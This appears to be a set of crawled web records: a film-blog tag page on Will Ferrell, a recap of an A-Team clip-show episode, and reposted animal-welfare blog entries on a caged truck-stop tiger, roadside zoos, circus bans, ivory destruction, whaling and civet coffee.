cc/2020-05/en_middle_0032.json.gz/line8126
__label__cc	0.737758	0.262242	Tag Archives: anchorman The top 10 Will Ferrell performances August 10, 2012 by Simon Miraudo 1 Comment The top 10 Will Ferrell performances. By Simon Miraudo. Will Ferrell stars as congressman Cam Brady in The Campaign, yet another oddball character to join his esteemed rogue’s gallery of supremely confident idiots. He’s come a long way since cheerleading with Cheri Oteri and crooning as Robert Goulet on Saturday Night Live. After cameoing in […] a night at the roxbury, anchorman, elf, old school, quickflix, step brothers, stranger than fiction, talladega nights, the campaign, the other guys, wedding crashers, will ferrell, zoolander The top 10 movie idiots March 16, 2012 by Simon Miraudo 2 Comments The top 10 movie idiots. By Simon Miraudo. “Stupid is as stupid does,” Forrest Gump once cautioned a nation, and he was right. There’s a fine history of fools in cinema, and Paul Rudd‘s Ned from Our Idiot Brother (out this week on DVD and Blu-ray) joins that dim-witted pantheon. To celebrate his well-meaning stupidness, […] Home, News, Top 10s a shot in the dark, anchorman, dumb and dumber, idiocracy, our idiot brother, quickflix, singin in the rain, the godfather, the hangover, the jerk, the naked gun, top 10 movie idiots, zoolander Where there’s a Will – Everything Must Go review September 27, 2011 by Simon Miraudo 1 Comment Everything Must Go – Starring Will Ferrell, Rebecca Hall and Christopher Jordan Wallace. Directed by Dan Rush. Rated M. By Simon Miraudo. There comes a time in every comic actor’s life when they grow weary of begging for yuks, and try to prove that they’ve got dramatic chops too. It’s a rite of passage as […] Adam Sandler, anchorman, bill murray, cameron crowe, dan rush, direct to dvd, DVD review, everything mus go, jim carrey, mo'nique, quickflix, rebecca hall, robin williams, simon miraudo, will ferrell Adam McKay to direct Ferrell and Wahlberg in Three Mississippi A couple of months back it was revealed that The Other Guys themselves, Will Ferrell and Mark Wahlberg, would reteam to star in a backyard football comedy named Turkey Bowl. According to Vulture, TOG director Adam McKay has signed on to helm the film, newly-retitled Three Mississippi. Ferrell and Wahlberg will star as the patriarchs of two […] 30 rock, adam mckay, alec baldwin, anchorman, mark wahlberg, quickflix, the other guys, three mississippi, turkey bowl, will ferrell Anchorman 2 – Electric Boogaloo? source: slashfilm.comComedy megastar Will Ferrell and director Adam McKay have revealed their plans for a sequel to Anchorman, with one version possibly set in the 80s. The first Anchorman starred Ferrell as anchorman extraordinaire Ron Burgundy, an arrogant yet lovable buffoon (see: 90% of all Ferrell films). Set in the 1970’s, it featured an all […] adam mckay, anchorman, australian online dvd rental, john c.reilly, judd apatow, quickflix, step brothers, will ferrell	cc/2020-05/en_middle_0032.json.gz/line8131
__label__cc	0.626336	0.373664	Much like the writing staff this episode, Decker phones it in. Also, I’m pretty sure that thing has gotten even bigger since the last time we saw it. Location: Northern California, likely Stanislaus National Forest Tank: No Disguises: No Scam: A House to take shelter in Flight: No (technically) Fixation: No, unless you count slowly losing it due to blood loss Fee: NA Quote: “Have you ever wondered why the A-Team manages to slip past us? …They’re the best. They think as one. Feel as one. Act as one.” – Decker, having come a long way from his rather low opinion of the boys from earlier this season. Who is that?? George Wyner, Archie. Hint: “What’s the matter, Colonel Sanders? Chicken???“ And now we’re ready for the final battle–which turns out to be pretty anti-climactic. Hannibal delivers a rather mediocre one-liner, the team punches out the bad guys, and the ep closes in typical manner, with our heroes making for a quick escape as we hear Decker’s sirens approach. But wait, what’s this? One bad guy isn’t quite completely punched-out, pulls a gun, and shoots Murdock! Shoots Murdock–with a gun! And it hits him! Wow, what an awful way to end an episode… And yet, the episode continues and–wait a minute, this isn’t a final act at all, it’s an opening act! We’ve seen bullet wounds a couple times on the show, but I believe this marks the first time we’ve seen someone actually get shot. This ep is shaping up to be something quite different indeed! Or not, ’cause then it turns into a clip show. Ok, I can do a clip show. Let’s see, fire up the ol’ bulleted list-maker, and: Remember that time when… B.A. gets a blood transfusion from Murdock—and hey it’s dr. Sullivan back (technically) for a third time! Really? You’re doing a clip show and you highlight the balloon chairs? They fly the montage-built ultralight They land the chopper at a gas station They Crash a Beechcraft Model-18 B.A. gets a pre-flight burger knock-out Murdock gets chucked into the ocean They Scam some dynamite They bust Murdock out of the hospital with a tuberculosis scam* They first meet Decker The Van blows through a billboard then over a bridge that’s out B.A. goes catatonic when trapped on a plane *It dawns on me that Face occasionally enjoys sewing a little extra chaos for no reason at all. He didn’t have to imply that the cafeteria staff needed full diagnoses and shots–the lie was already bought and he was headed out the door–but he did it anyway. Face, you’re downright incorrigible. For some reason, the TWA logo was rather poorly blinded-out during this particular clip. I didn’t see any significant events in TWA’s history at the time (the events of TWA flight 847 occurred a year after this ep aired), so I can only assume it was simply for lack of permission or something. For a clip show, there’s actually a decent amount of plot. For starters, I love that Decker just assumes that the guys the A-Team was beating up were, in fact, bad guys. And speaking of Decker, even he gets the warbly “flash back to some good times with Murdock” visual effect. Both of those (not to mention our Quote) show he’s definitely growing a certain amount of respect (if not an outright soft spot) for our heroes–I mean honestly, how could he not? I also noticed he referred to The Van as “the A-Team Van.” Respect The Team, respect The Van. Decker then makes an excellent play by placing a tracker on the first aid kit and allowing them to steal it–and the team makes an excellent counter-play by bandaging Murdock’s head, a move that simultaneously keeps Face in action and preserves Murdock’s cover. It’s really pretty remarkable that no one has any idea Murdock has been working with them after two full seasons now. There was a point where Decker addresses Hannibal as Lieutenant Colonel–something about the way he said it made it sound like it was meant to be an insult–I’ve assumed all this time that Hannibal was a full colonel, but maybe Decker technically out-ranks him? Anyway, out-ranked or not, he’s certainly not out-witted. The last of Decker’s men gets shoved out the passenger door, Hannibal opens fire, taking out all the tires, and the team makes a quick get-away. Murdock (who’s been at the psychiatric hospital the entire time, of course) and Decker have a moment that reminded me of something right out of a Laurel & Hardy film. The show ends with a montage of good times between B.A. and Murdock, whom we’ve known all along are good friends when it matters.	cc/2020-05/en_middle_0032.json.gz/line8138
__label__wiki	0.817671	0.817671	preciousjules1985 ALDF, Animal Behavior, Animal Control, Animal Cruelty, Animal Emotions Behaviour & Instincts, Animal Equality, Animal Health & Welfare, Animal Relocation, Animal Rights, Animal Sanctuary, Animal Welfare, animals, Animals in entertainment, Big Cats, Captive Wild Animals, Endangered, Entertainment, Human Greed = Animal Cruelty, On going Investigations, Profit Through Animal Abuse, Stereotypical behavior, Tigers, Tony the tiger, Veterinary Care, Wild Animals ALDF, Animal rights, Animal welfare, Cruelty to animals Comments Off on ALDF; A Truck Stop is No Place for a Tiger! Why We Won’t Stop Fighting for Tony Stephen Wells, ALDF At this moment a 16-year-old Siberian-Bengal tiger named Tony is caged at a gas station truck stop in Grosse Tete, Louisiana, 20 miles outside of Baton Rouge. Confined to a cramped metal cage, Tony breathes in diesel fumes daily while passersby tease and harass him. Tony has lived this way for nearly his entire life, and his circumstances are often a shock to the average person, who feels innately that this is not the right place for a tiger, especially an ageing one with neglected veterinary needs. People ask, “how can this be legal?” and the Animal Legal Defense Fund believes firmly that it’s not. In fact, we’ve been fighting for over six years to have Tony relocated to a sanctuary that can meet his complex needs and give him the veterinary care he is entitled to. Our campaign to save Tony is now even more dire after reports raising concerns about Tony’s health. Let Tony Live the Rest of His Days in Comfort All across the world, people follow Tony’s story. Recently, we’ve received many reports from worried citizens stating that Tony appears lethargic and is experiencing diarrhoea and a decreased appetite. The Animal Legal Defense Fund obtained photo and video evidence and enlisted the help of a veterinarian with experience treating exotic animals to review it. In the vet’s expert opinion, Tony is likely suffering from kyphosis of the spine and an injury or other condition that is causing him to limp. This isn’t run-of-the-mill ageing; Tony needs help. Living at a truck stop is, at the least, exacerbating Tony’s poor health. While no animal is suited to living at a truck stop, tigers are particularly ill-equipped because of their sharp sense of smell and sensitive hearing. Independent of all our pending legal work to free Tony, the Animal Legal Defense Fund just submitted a letter to the U.S. Department of Agriculture (USDA), which licenses the Truck Stop under the federal Animal Welfare Act, urging that Tony be inspected by a licensed specialist and given any necessary veterinary care. The Legal Battle for Tony’s Safety We believe that Tony, and all big cats held in captivity, deserve to live in environments that meet their psychological and physical needs. Our campaign to remove Tony from his particularly grim captivity at Tiger Truck Stop has been lengthy and determined. Michael Sandlin, the owner of the truck stop, however, has pulled out all the stops to keep Tony in captivity. He has spent over $750,000 fighting our efforts and has also manipulated the legislative system by successfully lobbying the Louisiana legislature to pass a special exemption designed solely to benefit Sandlin and allow him to keep Tony. It’s no surprise that Sandlin puts up such a fight; he’s been exploiting tigers like Tony for decades, using them as a gimmick to lure customers to his gas station. The USDA has cited Sandlin numerous times for violations ranging from failure to provide veterinary care to lack of clean drinking water. In 2003, Sandlin relinquished three tigers amid public outrage over his treatment of the big cats. Only Tony remains. Inspired in part by Tony’s plight, then Representative Warren Triche, Jr. introduced legislation in 2006 to ban private possession of big cats in Louisiana. The law passed, and while it was a tremendous win for the big cats saved from being the next Tony, Sandlin continued to hold Tony in violation of the law. The Animal Legal Defense Fund sued the Louisiana Department of Wildlife and Fisheries for unlawfully issuing Sandlin a permit to exhibit Tony. We were joined in the suit by former Rep. Triche, Jr. and several other Louisiana taxpayers. Both the trial court and the Louisiana Court of Appeal held that Sandlin and the Tiger Truck Stop were ineligible for a big cat permit and could no longer keep Tony captive. In October 2013, the Louisiana Supreme Court let that decision stand. Still, Tony remained at the truck stop. Despite the Animal Legal Defense Fund’s victory, which should have freed Tony and allowed him to be moved to a sanctuary, Sandlin has been able to keep Tony in captivity because of two legal tactics that he has pursued relentlessly. First, after the trial court ruled against Sandlin and while his appeal was pending, he filed a separate lawsuit challenging the big cat ban as unconstitutional. The Animal Legal Defense Fund, along with concerned Louisiana citizens, promptly filed a petition to intervene in that action to defend the constitutionality of the big cat ban. Both the State of Louisiana and the Animal Legal Defense Fund argued Sandlin’s claims were barred because he failed to raise them in the Animal Legal Defense Fund’s prior action. Those arguments are still pending today, nearly five years later. Second, Sandlin manipulated the legislative system by successfully lobbying the Louisiana legislature to pass Act 697, a special law designed to exempt Sandlin – and only Sandlin – from the big cat ban. It was signed into law by then Governor Jindal. The Animal Legal Defense Fund again immediately went to work, suing the state of Louisiana and arguing Act 697 violated the Louisiana Constitution because it was a “special law” designed to benefit one individual from existing state public safety and animal welfare laws. We were again joined in the suit by former Rep. Triche Jr. and other concerned Louisiana citizens. We’re Not Giving Up The Animal Legal Defense Fund recently combined its challenges to both of Sandlin’s legal tactics into the same action, filing an amended petition in intervention in Sandlin’s lawsuit that challenged the constitutionality of the big cat ban. This will allow the Animal Legal Defense Fund — in one motion — to raise arguments both challenging the constitutionality of Act 697’s exemption for Tony and explain why Sandlin’s challenges to the big cat ban itself should fail. A ruling in favour of the Animal Legal Defense Fund on such a motion should finally put an end to Sandlin’s legal tactics and provide a final resolution allowing Tony to be relocated to a sanctuary. As the world watches the ups and downs of the fight to save Tony, the tiger’s life remains essentially the same. He doesn’t know his story inspired a former Representative to come out of retirement to fight for him, or that the big cat ban will help others of his kind. All he knows is life in a cramped cage off the highway. Tony deserves the veterinary care he needs and to live out the rest of his life in peace. He doesn’t just deserve it, we believe he’s guaranteed it under the law. We won’t stop until Tony is safe News source:–http://www.onegreenplanet.org/animalsandnature/we-wont-stop-fighting-for-tony-the-truck-stop-tiger/ preciousjules1985 A Happy Ending, Against Animal Cruelty, ALDF, Animal Abuse, Animal Beheaded, Animal Cruelty, Animal Emotions Behaviour & Instincts, Animal Health & Welfare, Animal Investigator, Animal Relocation, Animal Welfare, animals, Animals in entertainment, Bears, Crimes Against Nature, Desperately Need Donations, Endangered Species, Good News, Gross Neglect, Health and wellness, Human Greed = Animal Cruelty, Lions, Volunteer Groups, Wild Animals, Wolf Sanctuary Of Pennsylvania, Zoo Comments Off on The Animals at Animaland Zoo Have a New Home, Thanks To ALDF! “Here’s an email I’m eager to share with you, I’m so relieved these animals are now safe!!” But there is so much more work to be done to free animals from dilapidated road side zoo!!” Animaland Zoo Shut Down For Good Now they have grass under their paws, clean water, companionship, enrichment and veterinary care. At last, thanks to the Animal Legal Defense Fund and your support,the animals once held at Animaland Zoo in Wellsboro, Pennsylvania will get the lives they deserve. With you by our side, we sued the roadside zoo for violating the Endangered Species Act and state wildlife laws. In the face of our lawsuit, Animaland settled with us and shut down. We were able to step in and choose new locations for Bear the wolf and the two black bears, Shawn and Sandy. Let’s celebrate this together—your continued support of the Animal Legal Defense Fund empowers us to litigate these victories for animals. Help Us Rescue Other Animals in Captivity All of the animals at Animaland were suffering physically and psychologically. Sandy and Shawn were forced to share a concrete enclosure for 17 years. Almost two decades in a cell hardly big enough for the bears to move in. Thanks to our lawsuit and logistical support from the sanctuary team at Lions Tigers & Bears, Sandy and Shawn are now living at Wildlife Rescue & Rehabilitation, a Texas sanctuary where they’ll have the freedom they need. We also found a safe place for Bear the wolf to live out the rest of his life. Bear was lethargic at Animaland, a pack animal in agonizing solitude. After being nowhere near others of his kind for years, Bear is now safe at the Wolf Sanctuary of Pennsylvania, where he is exploring lush vegetation amongst other wolves. Your generous support helped save Bear, Shawn, Sandy and other animals from Animaland. The tax deductible donation you make today can help us find happy endings for even more animals. We would also like to thank the law firm Baker Hostetler in Philadelphia for their invaluable pro bono assistance with this case. Every day, the Animal Legal Defense Fund fights to protect animals, and victories like this one are the reason we never give up. For the animals, Stephen Wells Many more animals need out help, Please visit:–https://org2.salsalabs.com/o/5154/p/salsa/donation/common/public/;jsessionid=A985D6881533F73B3E5089D7711F864B-n4?donate_page_KEY=14317&okay=true preciousjules1985 Action Alert, Against Animal Cruelty, Animal Abuse, Animal Abuse & the Law, Animal Abusers, Animal Cruelty, Animal Emotions Behaviour & Instincts, Animal Equality, Animal Health & Welfare, Animal Husbandry, Animal Investigator, Animal Rights, Animal Severely Beaten, Animal Torture, Animal Trainers, animals, Animals denied food & lack of care, Animals in entertainment, Australia, Bears, Captive Wild Animals, Caught On Tape, Circus, Cold Calculated Heartless Bastards, Council, Entertainment, Exotic Animals, Gross Neglect, Health and wellness, History Of Animal Abuse, Human Greed = Animal Cruelty, Humans That Offend & Disgust Me, Local Authorities, No Enforcement Of Animal Welfare, Purposely Inflicted Harm, Sentient beings, Tigers, UnderCover, Unnatural Acts, Very Sad News, Wild Animals Abused, Ban, Circus, councillor Dawn Crichlow, Exotic aniamls, Gold Coast, Private land, Revive Ban Comments Off on Push to reinstate ban on circus animals performing on Gold Coast City Council-owned properties ANDREW POTTS, EXCLUSIVE, Gold Coast Bulletin; September 4, 2016 3:00pm A CITY hall cage fight is brewing over plans to revive a ban on circuses with exotic animals performing within the city. Fur is expected to fly, with councillors set to defy the recommendations of bureaucrats and vote to ban circus animals on city controlled properties, nearly four years after such a ban was lifted. A petition calling for the ban will go before the Community and Cultural Development committee on Thursday with council officers recommending that “no action be taken”. But committee head Bob La Castra said the advice was unacceptable and that he could not stand by and do nothing while animals “suffered”. He urged ratepayers across the city to put pen to paper and lobby their elected representatives before Thursday’s vote. Cr Bob La Castra is leading the charge to reinstate a ban on circus animals performing on the Gold Coast. Photo: Jerad Williams “The views of those who believe this to be still acceptable are totally out of line and dated,” he said. “This should not be happening in our own backyard and we need those people who feel strongly about this to make their feelings known, so write to your councillors, speak out about it and fight this barbarity. “By allowing these circuses on our land we are complicit in what they are doing and banning them would send a message that what they are doing is not right and that we are taking a stand.” Police and Animal Rights campaigners outside Gold Coast Council Chambers protesting against the circus. Photo by Richard Gosling If the ban is successful, circuses with exotic animals would still be allowed to perform on private property. A ban was first put into place in 2009 by the council with the backing of then-Mayor Ron Clarke. It was lifted in a January 2013 decision by the council in which Mayor Tom Tate used his casting vote to break a deadlock tie. The Gold Coast Bulletin understands councillors on each sides of the argument are running the numbers to determine if the ban could potentially pass. Both sides concede a vote could go either way. But Southport councillor Dawn Crichlow, an ardent supporter of circuses, said she would fight the ban tooth and nail and declared the opposing argument to be “crap”. Cr Dawn Crichlow with Massai the Lion. Pic Jono Searle. “The kids want the circuses and I will fight all the way because it is a matter which is close to my heart and those of many others,” she said. “I am sick of the noisy minority coming up with all this crap. “I cannot believe this women condones & thinks it’s ok for children to see abused & tortured animals, just for their pleasure….condoning this just lets kids think that it is ok to be cruel to animals for the sake of entertainment???? By allowing circuses to carry on using animals is agreeing with the torturous training these poor young animals have to endure. Would it be ok to watch a double human act if you knew that one-half of the act was constantly being physically abused & tortured; just for entertainment???? NO, I DON’T THINK SO!!! ANYONE THAT DOES THINK ITS OK…WELL, I THINK THEY NEED TO BE SEEKING PROFESSIONAL HELP” RSCPA chief executive Mark Townend called on the council to “move with the times” and end the mistreatment of exotic animals. “I would hope the council gets into 2016 thinking because realistically circus animals are very 1970s,” he said. “There are great circus which do not put animals through these ridiculous things which are not in their natural behaviour. “I appeal to the council to move with the times because we can have a successful circus without putting animals through such treachery.” The petition calling for the ban to be reinstated was submitted to the council in March by then-Robina councillor Jan Grew in the final act of her 22 year political career. More than 45 councils across Australia have exotic animal bans in place. Both City of Melbourne and Penrith both voted to introduce their own boycotts this year. Protesters are expected to attend Thursday’s council committee meeting and security will be on hand. News Link:– http://www.goldcoastbulletin.com.au/lifestyle/pets-and-wildlife/push-on-to-reinstate-ban-on-circus-animals-performing-on-gold-coast-city-councilowned-properties/news-story/977c58756cfc65467f2269bf8bac94f3 “See how animals are really trained to perform for your entertainment!! Then ask yourself; is this fair on the animals? Do you enjoy knowing they have been hurt for you entertainment????” “The Circus, where animals are miserable & go insane; confined to metal cages when not being abused & are trained through fear; fear of being whipped, hit with objects, tied by the neck i.e tortured, etc. etc.” (Anyone who condones this…will be classed as an animal abuser through my eyes) 29 Arrested In Arson Attack After Tiger kills Teacher In Madhya Pradesh preciousjules1985 Animal Relocation, animals, Big Cats, Deforestation, Forest Rangers, Human Animal Conflict, Humans Hurt By Animals, Killed, Loss of Natural Habitat, Stupidity, Tigers, Wild Animals Arrests, Arson, BHOPAL, Forest Department, India, Man-eaters, Tigers Comments Off on 29 Arrested In Arson Attack After Tiger kills Teacher In Madhya Pradesh “I totally understand the loss of a loved one & the fear factor that big cats are prowling around; but I hardly think burning Forest Official vehicles, is going to help the matter. If anything it will have hindered the Forest Officials from tracking the tiger! The problem is obvious, the big cats are losing their forests & the animals they would normally pray on. I don’t think a tiger can be called a man-eater, he isn’t biased about what he eats…he just has to eat to survive! Granted humans shouldn’t be on the menu, but if there is no meat left to hunt in the wild, of course they are going to stalk areas where they see food; i.e humans! Their habitat is being cut down for wood & to grow crops or build houses; so the tigers have no way to survive…they will kill anything when hungry. I’m sure they would rather stick to their own diet of forest animals but if there are none, due to lack of habitat, what do you expect? They can’t survive on fresh air!!” “I’m sure the Forest officers were just as shaken by the latest tragedy’s & intend on trying to find & relocate the tiger! I hope & pray they get hold of that tiger before the villagers do, because once they get into mob mode, it’s a free for all, who knows what they will do to the tiger. Perhaps burn & torture it like they did when they caught a leopard poaching on human land! However, even if the tiger is caught & relocated, I’ll bet there is another tiger, just waiting to take its place! Something radical has to be done to save both human & animals from being killed…They must stop cutting down the tigers habitat, which includes the tigers natural pray. Or use the land to build more houses & grow more crops to fulfill India’s growing population. The attacks on humans won’t stop, until humans stop poaching the tigers habitat & food supply!! “ P Naveen,TNN \| Oct 25, 2014, 06.06 PM IST BHOPAL: Madhya Pradesh police on Saturday arrested 29 people over an arson attack after a school teacher was mauled to death a tiger in near Bandhavgarh National Park in Katni district on Friday. The mob had attacked forest personnel, including local forest range officer while keeping some of them hostage, besides policemen and local journalists. They said forest officers were overlooking the fact that some tigers had turned into man-eaters. Two motorized vessels and a dozen vehicles owned by the department were also set on fire, said officials. Prohibitory orders under Section 144 of CrPC were issued to bring situation under control. Amod Lakda (55), posted at Karchulia village’s government middle school, was attacked by the tiger in the buffer area near a water tank inside Khitouli range. He was a native of Chhattisgarh‘s Jashpur area. Villagers claim this was the fourth incident of an attack by a big cat. Forest officers had been ignoring their pleas to shift the tiger. They say the matter was taken with chief minister Shivraj Singh Chouhan, but in vain. “Extensive damage has been caused to forest department property. The death of a teacher following tiger attack provoked people to go berserk,” said Narendra Kumar, chief wildlife warden. Meanwhile forest officers have launched a hunt for the tiger for shifting it to a safe location. News Link:–http://timesofindia.indiatimes.com/city/bhopal/29-arrested-in-arson-attack-after-tiger-kills-teacher-in-Madhya-Pradesh/articleshow/44933010.cms?intenttarget=no&utm_source=TOI_AShow_OBWidget&utm_medium=Int_Ref&utm_campaign=TOI_AShow Video: China Ivory Crackdown Welcomed preciousjules1985 African Wildlife, Animal Advocates, Animal slaughter, Animal Trade, Animal Welfare, Animals Butchered for Body Parts, China, Conservation, Crimes Against Nature, Customs & Excise, Elephants, Endangered, Export Illegal Items, Gabon, Global Ban, Human Greed = Animal Cruelty, Hunters, Illegal Trade, Ivory stockpiles, Ivory Trade, Philippines, Purchase things, R.I..P, Sentencing Not Severe Enough, Should Get Prison Term For Offence, Stop Elephant Poaching, Trophy Hunters, Video, Wild Animals China, destroyed stockpiles of Ivory, elephants, Gabon, ivory stockpile, Legal Ivory market, Obama administration, Wildlife Conservation Society, Wildlife trade monitoring network Traffic Comments Off on Video: China Ivory Crackdown Welcomed CHINA has destroyed more than six tonnes of illegal ivory, in a move welcomed as an important signal the country backs action to stop elephant poaching. China has destroyed six tonnes of illegal ivory in a move to stop elephant poaching. Source: AAP The ivory, which is sought-after in China for making ornaments, was seized from the illegal trade and has been crushed into powder by the Chinese government. Conservationists say China is the world’s largest consumer of trafficked ivory, most of which comes from elephants killed in Africa, and the move sends a signal of the government’s commitment to tackling the problem. Destruction of the ivory, from more than 600 dead elephants, comes just weeks after eight Chinese citizens were convicted and sentenced to between three and 15 years imprisonment for smuggling some 3.2 tonnes of ivory. “The destruction of seized ivory makes an important public statement that, in conjunction with other government-led efforts to reduce demand, has the potential to have a significant impact on the illegal market for ivory,” said Tom Milliken, from Wildlife trade monitoring network Traffic. Image comment: China will destroy ivory stockpile on January 6, 2014 Image credits: The Telegraph “China’s actions, more than those of any other country, have the potential to reverse the rising trends of elephant poaching and illegal ivory trafficking.” China has a legal ivory market based on stocks that pre-date a global ban on ivory trade imposed in 1989, and on stocks which were part of a legal “one-off” sale from four African countries in 2008, but the seized ivory cannot be be used for commercial purposes under international rules. Gabon, the Philippines and the United States have all recently destroyed stockpiles of ivory Video & News Link:-http://www.weeklytimesnow.com.au/news/world/china-ivory-crackdown-welcomed/story-fnjbnxol-1226796201437 GRAPHIC CONTENT: ‘A gruesome, medieval scene’: Shocking images reveal Japanese fleet is slaughtering whales INSIDE an international sanctuary preciousjules1985 Action Alert, Animal Advocates, Animal Emotions Behaviour & Instincts, Animal Equality, Animal Rights, Animal Sanctuary, Animal Shot, Animal slaughter, Animal Torture, Animal Trade, Animal Welfare, animals, Anti-whaling, Caught On Tape, Cold Calculated Heartless Bastards, Conservation, Consumer Goods, Crimes Against Nature, Endangered, Environmental Groups, Food Chain/Products, Guilty, Human Animal Conflict, Human Greed = Animal Cruelty, Humans That Offend & Disgust Me, Hunters, Illegal Trade, International Whaling Commission 1994, International Whaling Committee, Japan, Killed, Marine mammal organisations, Marine Mammals, Nature Conservancy, New Zealand, Non-Profit-Organization, On going Investigations, Petitions to sign please, Research, Sea Shepherd Australia, Sea Shepherd Conservation Society, Sentient beings, Southern Ocean Whale Sanctuary, Surveillance, The Japanese foreign ministry, Video, Wales, Whales, Wild Animals, YouTube Animal rights, Animal welfare, International Whaling Commission, Japan, Killed, Sea Shepherd, The New Zealand government, YouTube Comments Off on GRAPHIC CONTENT: ‘A gruesome, medieval scene’: Shocking images reveal Japanese fleet is slaughtering whales INSIDE an international sanctuary Campaigners say they spotted vessels in Southern Ocean Whale Sanctuary Images of whale carcasses on bloodied ship deck captured from a helicopter Another minke whale was being butchered on board, says Sea Shepherd Commercial whale hunting outlawed in 1994 Japanese whaling vessels allowed ‘for research purposes’ Sea Shepherd said they had spotted the Japanese fleet today and captured evidence that four whales had been slaughtered, alleging the ships were found inside the sanctuary MURDERERS!!!!!!!!!!!!!!!! Militant anti-whaling group Sea Shepherd says it spotted the Nisshin Maru sailing through the protected Southern Ocean Whale Sanctuary during the annual whaling season. As the Sea Shepherd’s helicopter flew above the Japanese ship, campaigners shot footage of the blood-streaked deck and the carcasses of three dead minke whales lying on the ship as another creature was butchered. This photograph of three dead minke whales was taken by anti-whaling campaigners after they allegedly caught the Japanese vessel inside an internationally-recognised sanctuary. MURDERERS!!!!! Sea Shepherd said it had spotted the Japanese fleet yesterday and captured evidence that four whales had been slaughtered this morning, alleging the ships were found inside the sanctuary. Campaigners said they had located all five Japanese vessels and were now in pursuit, forcing the harpooners to cut short their operation and retreat. Sea Shepherd said that another whale, also believed to be a minke, was being butchered on board. MURDERING BXXXXXD’S ‘That’s just a gruesome, bloody, medieval scene which has no place in this modern world.’ When the Nisshin Maru was first spotted from the air, Dr Brown said it was in Antarctica’s Ross Dependency, within New Zealand’s territorial waters and the Southern Ocean Whale Sanctuary, which he described as a ‘gross breach of international law’. The commercial hunting of whales is prohibited in the sanctuary, which was designated by the International Whaling Commission (IWC) in 1994, but Japan catches the animals there under a ‘scientific research’ loophole in the moratorium on whaling. New Zealand Foreign Minister Murray McCully denied whaling was taking place within his country’s maritime jurisdiction, saying the site was considered international waters, as he condemned the ‘pointless and offensive’ practice. Peter Hammarstedt, captain of the Sea Shepherd ship Bob Barker, said Japan had shown ‘flagrant disregard for international law’ by continuing whaling ‘The New Zealand government has repeatedly called on Japan to end its whaling programme. We reiterate this message today,’ he said. ‘There is nothing scientific about this, it is butchery,’ Mr Brown said. ‘The one thing that’s missing here is gumption – a bit of spine in Canberra and in Wellington to put an end to it.’ Australia has taken Japan to the International Court of Justice seeking to have its research whaling programme declared illegal, with a ruling due this year. Peter Hammarstedt, captain of the Sea Shepherd ship Bob Barker, said Japan had shown ‘flagrant disregard for international law by continuing their illegal whale hunt while the world patiently awaits a decision from the International Court of Justice’. Japan’s fisheries agency said its programme was being conducted ‘in line with a research plan submitted to the IWC’ Sea Shepherd left Australia for their 10th annual harassment campaign of the Japanese fleet last month, sending three ships to tail and run interference against the harpooners. High-seas clashes between the two groups are common, resulting in the 2010 sinking of the Sea Shepherd vessel Ady Gil. Australia will be monitoring confrontations between the pair from a government jet which is due to fly surveillance missions over the Southern Ocean between January and March. However, Dr Brown said there had so far been no sign of the aircraft. News Link:-http://www.dailymail.co.uk/news/article-2534478/Graphic-images-Japans-whaling-released-campaigners-Sea-Shepherd.html Graphic whaling footage Sea Shepherd releases footage of whales being killed Published on 6 Jan 2014 Graphic whaling footage: Sea Shepherd releases footage of whales … http://www.youtube.com/watch?v=2nS3-Qnc0N0…‎Traduzir esta página 3 horas atrás – Graphic whaling footage: Sea Shepherd releases footage of whales being killed. ITN ·10,626 videos. Some Petitions to sign & Sea Shepherd support:– http://www.seashepherd.org/get-involved/ https://www.causes.com/actions/1721564-to-stop-the-japanese-whale-hunt-for-good http://www.unleashed.org.au/take_action/petitions/stop-japanese-whaling/ https://www.causes.com/campaigns/12092-stop-the-japanese-whale-hunt-for-good-we-need-whales http://savejapandolphins.org/ http://forcechange.com/67673/stop-japans-commercial-whaling/ http://www.avaaz.org/en/whales_last_push/ World’s Priciest Coffee Marred by Abuse Allegations preciousjules1985 Agriculture, Animal Breeders, Animal Cruelty, Animal Neglect, Animal Rights, Animal Welfare, animals, Conservation, Farmed Animal Abuse, Food Chain/Products, Health and wellness, International Union For Conservation Of Nature, Tradition & Culture, Wild Animals Asian Palm Civet, Bucket List, Chris Shepherd, Civet, International Union for Conservation of Nature, Kopi Luwak, Poop, Southeast Asia, The Guardian Comments Off on World’s Priciest Coffee Marred by Abuse Allegations “I’m posting again as there seems to be a problem with people copying this link.! “Well you learn something everyday! I had no idea that coffee was made out of civet poop! Hopefully it will put people off drinking it, then the poor things won’t be caged like battery hens; so pass the word around!!” Civet coffee, or kopi luwak, was described as the “rarest beverage in the world” in the 2007 film The Bucket List, and it retails for £70 ($105) a cup in London, but a less-than-glamorous scandal may be brewing for the drink. Gourmands the world over savor the flavor of the coffee known in Indonesia as Kopi Luwak. The coffee gets its taste from coffee berries that the luwak, a kind of civet consumes and then excretes in its stool. The globe’s most expensive java, which is made from the faeces of catlike mammals called Asian palm civets, is raising concern among animal-welfare organizations, the Guardian reports. Producers of kopi luwak, based primarily in Indonesia, are facing accusations of “horrific” abuse against the civets, who are kept in cages and fed a diet comprising almost exclusively coffee berries in order to produce a usable excrement. The creation of the predigested coffee has transformed a small rural trade into an intensive farming industry, the Guardian notes. The reporter from the British paper visited a café on the Indonesian island of Sumatra and discovered a female civet confined to a tiny cage in the back of the shop. The Guardian also found the creature’s two young offspring in a separate cramped enclosure, as well as 20 other civets in concealed cages on the roof of the building. (PHOTOS: Kopi Luwak: The World’s Priciest Coffee) According to the paper, animal-welfare groups believe comparable civet “farms” are cropping up across Southeast Asia and creating a serious ethical problem. As of now, tens of thousands of the animals are likely cooped up in cages and forced to live on the unwholesome berry diet. Although Asian palm civets, called luwak in Indonesian, are not endangered, a similar species called the binturong is also used for kopi luwak and has been classified as “vulnerable” by the International Union for Conservation of Nature. Sorting Stool The beans do not get digested by the civets, thus making it possible for farmers to collect them. Here, Wayan Dira collect the excrement so that the coffee beans can be processed “The conditions are awful, much like battery chickens,” Chris Shepherd, deputy regional director of the conservation group Traffic in Southeast Asia, told the Guardian. “The civets are taken from the wild and have to endure horrific conditions. They fight to stay together, but they are separated and have to bear a very poor diet in very small cages.” Shepherd said the conservation risk comes from the high mortality rate of some civet species, as those figures are “ spiralling out of control.” He noted that there is little public awareness about how kopi luwak is made. “It would put people off their coffee if they knew,” Shepherd said. Read more: http://newsfeed.time.com/2012/11/25/worlds-priciest-coffee-marred-by-abuse-allegations/?iid=nf-article-trend-now	cc/2020-05/en_middle_0032.json.gz/line8141
